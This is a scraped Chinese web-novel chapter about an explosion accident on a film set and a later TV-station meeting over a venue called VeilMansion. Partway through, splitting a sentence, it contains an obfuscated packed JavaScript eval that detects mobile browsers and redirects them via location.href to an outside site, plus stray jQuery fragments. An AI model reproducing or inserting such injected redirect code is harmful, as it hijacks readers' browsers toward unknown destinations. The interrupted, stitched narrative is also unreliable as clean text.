13. 虚情
作品:《风闻绯事》 “知渺姐,你没事吧!”冉然跑着向她冲过来,巴掌大的肉脸拧成了包子。
江知渺摆了摆手,在她的搀扶下,缓缓走回房车。路过柏霆宇的房车时,停顿了一下,还是继续向前走去。
柏霆宇靠坐在房车的沙发上,从助理的手里接过冰水,仰头灌下一整瓶。冰冷刺骨的凉水顺着食道滑向胃里,刺激肠胃猛烈收缩,连带着五脏六腑再一次感受到方才那种濒临窒息的感受。
爆炸声在耳畔响起的时候,他还没有意识到出了事故,爆炸的巨响令他的双耳间歇性失去了听觉。当刺鼻的黑烟熊熊燃起,将他们完全包裹起来,视线也被剥夺之后,柏霆宇才察觉出,这次的爆炸充满危险。
他立刻向身后的群演大喊:“大家捂住口鼻!不要慌张!不要大口吸气!”
伴随着他开口说话,大量烟尘与火药颗粒钻进他的鼻腔,黏在喉咙上,让呼吸变得困难起来。由于不确定方位,他只好待在原地,紧紧地憋住一口气,暗暗祈祷救援赶快到来。
好在张导有着极其丰富的拍摄经验,在监控器里看到浓烟滚滚,立刻察觉到不对劲,紧接着联络片场附近的消防队,并安排了工作人员先行前去救援。
那时候,柏霆宇的耳朵还处在暂时性失聪当中,隐约看到浓雾中有人摸索着靠近他们。他用力将身上的钢制盔甲与旗杆碰撞,发出清脆的金属声,吸引救援人员前往他们被困的方向。
消防员抬着担架,将他安稳地放到上面,似乎还和他问了什么,他伸手指了指自己的耳朵,摇摇头,消防员立刻明白了情况。
柏霆宇和其他群演陆陆续续被抬到远处的空地上,看着那滚滚黑烟,他的心底这才感到后怕,好在经过医疗人员的检查,群演们只是吸入了少量烟尘,并没有人受伤。
他用力地敲了敲耳朵,仍然听不见任何声音,颓然地低下头去,克制平复着急促凌乱的呼吸。
一个脏兮兮的裙摆突然出现在他的视线里,柏霆宇顺着裙摆向上望去,来人满脸的黑色烟尘,只能从那双极具东方含蓄留白的眼睛中,辨认出她是江知渺。
柏霆宇看得到她嘴巴一张一合,却丝毫听不到她在说什么,于是悠哉地后仰着,把手撑在地上,好整以暇地挑起眼睛。
本以为她只是客套关心一下,可他盯了她许久,她还在自顾自地说着话,好像还越说越快,唇角因为干燥而泛白。柏霆宇这才开始认真地去观察她,发现她脸上的黑烟比旁边的群演还要重。
——她不是站在城墙上吗,为什么会沾染这么多烟尘?
柏霆宇被困在寂静的世界里,愣愣地看着江知渺接下来的举动,她不顾地上的灰尘,扑到他的面前,低头瞧着他斑斓狼狈的戏服。抬眼时,她的眼中竟然满含泪水。
他突然好想听到声音,从前他时常巴不得全世界的人都被割掉舌头,让耳边再也没有奉承、没有辱骂、没有趾高气昂、没有颐指气使。
但此刻,被江知渺用力地握住肩膀,焦急地查看他是否受伤,咫尺间那柔软的唇瓣一张一合,柏霆宇好想听听她和自己说了什么。
不知不觉间,他收敛起那副玩味的笑容,甚至久违地感受到一丝愧疚:我怎么能用那种嬉皮笑脸的态度,回应她如此真诚的情绪?
柏霆宇莫名地产生一阵冲动,他想伸出手去,紧紧地把江知渺抱在怀里,将她完全吞噬在自己的身体里,让她听听自己因为爆炸或是别的什么而正在疾速跳动的心脏。
或许是她哭得太过伤心,原本已经为他做完简单检查的医生再次来到他们身旁,江知渺站起身来,紧紧地抓住医生的白大褂,柏霆宇猜她应该是在询问自己的情况,他原本已经准备抬手拥抱她,此时手臂也随着她的起身,缓缓地垂了下来。
得到医生肯定的答复后,江知渺终于长舒了一口气,紧绷许久的身体也逐渐放松。柏霆宇以为她还会再向自己说些什么,比如他最关心的问题:她为什么会走下城墙,为什么要第一时间来看望他,为什么要为一个才认识三天的人而流泪。
然而,江知渺仅仅是平静地跟随医生一同离开,唯有即将步入混乱的人群前,才终于扭过头,轻飘飘地瞟了他一眼。
那些泪水、关切、情难自已的痕迹,瞬间就从她的脸庞上消失了,仿佛从未存在过,从头至尾,柏霆宇只获得了这个不痛不痒的眼神。
他当即感受到一种耻辱,恨不得立刻冲上去,拦住她,质问她:为什么要在我的面前,假惺惺地演一套情深意切?
扮演亲密关系,炒作暧昧氛围,那是他柏霆宇的权力。她凭什么直接冲上来,用高超的演技将他骗得团团转,骗到他几乎要相信了,又突然翻脸不认人?
剧组开机第一场就发生安全事故,不得不停拍三天,进行安全隐患排查。柏霆宇被她的眼泪搅得一夜没能合眼。第二天一早,他终于忍不住跟助理要来江知渺的房间号,气冲冲地敲开了她的房门。
“我有一个建议:VeilMansion。”
国立电视台,顶层会议室里,邵聿冷不丁冒出的一句话,让所有参会人齐刷刷地转头看向他,刘恪辰慢了半拍,发出了一声疑惑的“啊?”。
《钩沉》每一季收官都会走出摄影棚,租用更大的场地,邀请众多历史学者与历史类自媒体博主等共同参加。
本季仍然按照这一惯例进行准备,在筹备会上,综合部负责人赵咏诚主任请大家畅所欲言,分享关于选址的想法。
作为节目的主持人及主策划,邵聿对于拍摄地点有着极其严苛的要求,既不能过分简陋,也不能过分奢华,筹备组同事提出的几个意见都被他否定了。
会议的气氛降到冰点,所有人都摸不透什么样的地方才能令邵聿满意,他突然提出的建议瞬间引爆了凝重的空气。
坐在远端的年轻同事窃窃私语起来,近处的几个与他合作过很久的同事也都不解地面面相觑。谁都知道邵聿的妻子江知渺被卷进了一场杀人案中,而案件发生的地点就在VeilMansion。
尽管VeilMansion具有相对独立的会议层,也承办过不少电视节目,可到底是在同一楼宇里,邵聿的这个建议,难免让他们有些困惑。
刘恪辰第一时间凑到旁边,小声劝道:“聿哥,那个……VeilMansion是高端会所,咱们的经费应该租不起他们的地方。”
“我们这一季的经费比上一季提高了30%,原先已经预留了充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585002|171696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足的余量,用于筹办最后一期节目。”邵聿拿出一份预算文件,给大家传阅。
有人反驳道:“VeilMansion说到底还是一间会所性质的酒店,和我们的节目主题恐怕不相符。”
面对大家的疑惑,邵聿面不改色,解释道:“VeilMansion近期在举办一位美籍华裔私人收藏家的展览,我了解过那些展品,其中有很多珍品和我们节目的内容相契合,我也联系过这位收藏家,他非常愿意自己的藏品接受拍摄。”
“可是……”
陆续还有两三个同事表达了不同意见,待他们发言完毕,邵聿刚准备一一回应,就有人推门而入。
大家看向门口,只见李璟意抱着一打文件,款款走进来,“我赞成邵大主持的建议。”
她随手撩了撩发尾,走到会议室尽头,将手中的文件递给赵主任,低声道:“赵主任,抱歉打扰您了,副台长请您到1507开会,讨论新闻部这份策划案。”
目送赵主任离开,李璟意毫不客气地搬过他的空椅子,摆在邵聿旁边,惬意地靠在椅背上,抬手示意道:“你们继续。”
“你来做什么?”邵聿不悦地看着她。
“当然是来参加你们的筹备会啊。”
“我们综合部的筹备会,和你一个新闻部记者有什么关系?”
邵聿严肃的样子让李璟意忍不住笑出了声,“你还不知道吗?”
她顿了顿,满意地欣赏着邵聿的困惑,故作神秘地说道:“我已经向台里申请了,对你们最后一期邀请的重点嘉宾,做一次新闻专访。”
“什么?”邵聿冷冷地盯着她耀武扬威的样子,面无表情道:“这是我的节目,领导不可能同意……”
“不好意思,领导已经同意了。哦,对了,作为‘回报’,新闻部会给你提供二十万节目经费,用于场地租赁。”李璟意将手肘撑在桌子上,身子向他的方向欠去,一字一顿地说道:“从现在开始,这也是我的节目了。”
“聿哥,聿哥!”刘恪辰一边喊,一边追向前方大步流星的邵聿。
刚才的筹备会最终不欢而散,尽管还是确定下来租用VeilMansion的场地,但室内的气压早已降至冰点,随着邵聿一声“散会”,所有人同时打了个冷战。
关于邵聿和李璟意之间的竞争,刘恪辰在进台第一天就被同事们好心提醒“千万不要让他们的工作有交集,也不要掺和他们俩的斗争”,这些时日来他从未踩雷。
只不过跟着邵聿学了这么久,如今对方已经来抢饭碗了,刘恪辰决定起码要从言语上支持一下自己的带教。
他跟在邵聿高大挺拔的身影之后,一路小跑赶到他身旁,“聿哥别生气,她一个新闻部的,来综合部也就是凑凑热闹,不可能动摇你综合部一哥的地位。”
“哦,是吗?”两人走过拐角时,迎面出现的女人吓得刘恪辰险些把贵重的摄像机摔在地上。
李璟意双手背在身后,一步步向刘恪辰逼近,故意抬起头,捕捉着他躲闪的视线,“你的意思是,我的主持功底不如邵聿?”
刘恪辰绝望地闭上双眼,一瞬间甚至已经想好,离职的箱子里该带走哪些个人物品。